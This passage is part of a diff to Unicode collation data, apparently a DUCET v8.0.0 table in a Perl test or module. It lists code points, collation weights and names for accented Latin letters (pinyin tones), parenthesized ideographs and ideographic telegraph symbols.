CAPITAL LETTER O WITH GRAVE -016B ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -00FA ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -01D4 ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -01D3 ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -00F9 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -00D9 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -01D6 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -00FC 0304 ; [.1EB5.0021.0002] # -00DC 0304 ; [.1EB5.0021.0008] # -01D8 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -00FC 0301 ; [.1EB5.0022.0002] # -00FC 0341 ; [.1EB5.0022.0002] # -00DC 0301 ; [.1EB5.0022.0008] # -00DC 0341 ; [.1EB5.0022.0008] # -01DA ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -00FC 030C ; [.1EB5.0023.0002] # -00DC 030C ; [.1EB5.0023.0008] # -01DC ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -00FC 0300 ; [.1EB5.0024.0002] # -00FC 0340 ; [.1EB5.0024.0002] # -00DC 0300 ; [.1EB5.0024.0008] # -00DC 0340 ; [.1EB5.0024.0008] # -00FC ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS + entry => <<'ENTRY', # for DUCET v8.0.0 +0101 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0100 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +00E1 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +01CE ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +01CD ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +00E0 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +00C0 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0113 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0112 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +00E9 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +011B ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +011A ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +00E8 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +00C8 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +00EA 0304 ; [.1C25.0021.0002] # +00CA 0304 ; [.1C25.0021.0008] # +0065 0302 0304 ; [.1C25.0021.0002] # +0045 0302 0304 ; [.1C25.0021.0008] # +1EBF ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +00EA 0301 ; [.1C25.0022.0002] # +00EA 0341 ; [.1C25.0022.0002] # +00CA 0301 ; [.1C25.0022.0008] # +00CA 0341 ; [.1C25.0022.0008] # +00EA 030C ; [.1C25.0023.0002] # +00CA 030C ; [.1C25.0023.0008] # +0065 0302 030C ; [.1C25.0023.0002] # +0045 0302 030C ; [.1C25.0023.0008] # +1EC1 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +00EA 0300 ; [.1C25.0024.0002] # +00EA 0340 ; [.1C25.0024.0002] # +00CA 0300 ; [.1C25.0024.0008] # +00CA 0340 ; [.1C25.0024.0008] # +00EA ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EC5 ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC7 ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +012B ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +012A ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +00ED ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +01D0 ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +01CF ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +00EC ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +00CC ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +006D 0304 ; [.1D25.001C.0002] # +004D 0304 ; [.1D25.001C.0008] # +1E3F ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +1E3E ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +006D 030C ; [.1D25.001E.0002] # +004D 030C ; [.1D25.001E.0008] # +006D 0300 ; [.1D25.001F.0002] # +006D 0340 ; [.1D25.001F.0002] # +004D 0300 ; [.1D25.001F.0008] # +004D 0340 ; [.1D25.001F.0008] # +006E 0304 ; [.1D34.001C.0002] # +004E 0304 ; [.1D34.001C.0008] # +0144 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +0143 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +0148 ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +0147 ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +01F9 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +01F8 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +014D ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +014C ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +00F3 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +01D2 ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +01D1 ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +00F2 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +00D2 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +016B ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +00FA ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +01D4 ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +01D3 ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +00F9 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +00D9 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +01D6 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +00FC 0304 ; [.1E30.0021.0002] # +00DC 0304 ; [.1E30.0021.0008] # +01D8 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +00FC 0301 ; [.1E30.0022.0002] # +00FC 0341 ; [.1E30.0022.0002] # +00DC 0301 ; [.1E30.0022.0008] # +00DC 0341 ; [.1E30.0022.0008] # +01DA ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +00FC 030C ; [.1E30.0023.0002] # +00DC 030C ; [.1E30.0023.0008] # +01DC ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +00FC 0300 ; [.1E30.0024.0002] # +00FC 0340 ; [.1E30.0024.0002] # +00DC 0300 ; [.1E30.0024.0008] # +00DC 0340 ; [.1E30.0024.0008] # +00FC ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS FDD0 2801 ; [.8000.0020.0002] # 2E84 ; [.8007.0020.0002] # CJK RADICAL SECOND THREE 3006 ; [.8012.0020.0002] # IDEOGRAPHIC CLOSING MARK @@ -299,119 +299,119 @@ FDD0 2824 ; [.DC7E.0020.0002] # FDD0 2827 ; [.DC80.0020.0002] # FDD0 2830 ; [.DC82.0020.0002] # -3220 ; [*0317.0020.0004][.8001.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ONE -3226 ; [*0317.0020.0004][.801A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN -3222 ; [*0317.0020.0004][.8054.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH THREE -3228 ; [*0317.0020.0004][.8027.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NINE -3221 ; [*0317.0020.0004][.802A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TWO -3224 ; [*0317.0020.0004][.80D7.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE -3239 ; [*0317.0020.0004][.81C2.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT -323D ; [*0317.0020.0004][.831C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE -3241 ; [*0317.0020.0004][.832C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REST -3227 ; [*0317.0020.0004][.8030.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT -3225 ; [*0317.0020.0004][.80F5.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SIX -3238 ; [*0317.0020.0004][.85A8.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR -3229 ; [*0317.0020.0004][.8041.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TEN -323F ; [*0317.0020.0004][.899D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE -3234 ; [*0317.0020.0004][.839D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NAME -323A ; [*0317.0020.0004][.89D5.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CALL -3223 ; [*0317.0020.0004][.822D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR -322F ; [*0317.0020.0004][.8081.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH -323B ; [*0317.0020.0004][.8A8D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY -3230 ; [*0317.0020.0004][.815C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUN -322A ; [*0317.0020.0004][.815F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH MOON -3232 ; [*0317.0020.0004][.845A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE -322D ; [*0317.0020.0004][.8160.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD -3231 ; [*0317.0020.0004][.979F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK -322C ; [*0317.0020.0004][.816D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WATER -322B ; [*0317.0020.0004][.816E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE -3235 ; [*0317.0020.0004][.9895.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL -323C ; [*0317.0020.0004][.B79A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE -3233 ; [*0317.0020.0004][.8D2E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY -3237 ; [*0317.0020.0004][.9970.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION -3240 ; [*0317.0020.0004][.A100.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL -3242 ; [*0317.0020.0004][.84D8.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SELF -3243 ; [*0317.0020.0004][.84D9.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REACH -3236 ; [*0317.0020.0004][.9B3B.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL -323E ; [*0317.0020.0004][.B2A5.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE -322E ; [*0317.0020.0004][.8E33.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH METAL -3358 ; [.1C3D.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO -33E9 ; [.1C3E.0020.0004][.1C3D.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN -32C9 ; [.1C3E.0020.0004][.1C3D.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER -3362 ; [.1C3E.0020.0004][.1C3D.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN -33EA ; [.1C3E.0020.0004][.1C3E.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN -32CA ; [.1C3E.0020.0004][.1C3E.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER -3363 ; [.1C3E.0020.0004][.1C3E.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN -33EB ; [.1C3E.0020.0004][.1C3F.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE -32CB ; [.1C3E.0020.0004][.1C3F.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER -3364 ; [.1C3E.0020.0004][.1C3F.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE -33EC ; [.1C3E.0020.0004][.1C40.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN -3365 ; [.1C3E.0020.0004][.1C40.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN -33ED ; [.1C3E.0020.0004][.1C41.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN -3366 ; [.1C3E.0020.0004][.1C41.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN -33EE ; [.1C3E.0020.0004][.1C42.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN -3367 ; [.1C3E.0020.0004][.1C42.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN -33EF ; [.1C3E.0020.0004][.1C43.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN -3368 ; [.1C3E.0020.0004][.1C43.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN -33F0 ; [.1C3E.0020.0004][.1C44.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN -3369 ; [.1C3E.0020.0004][.1C44.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN -33F1 ; 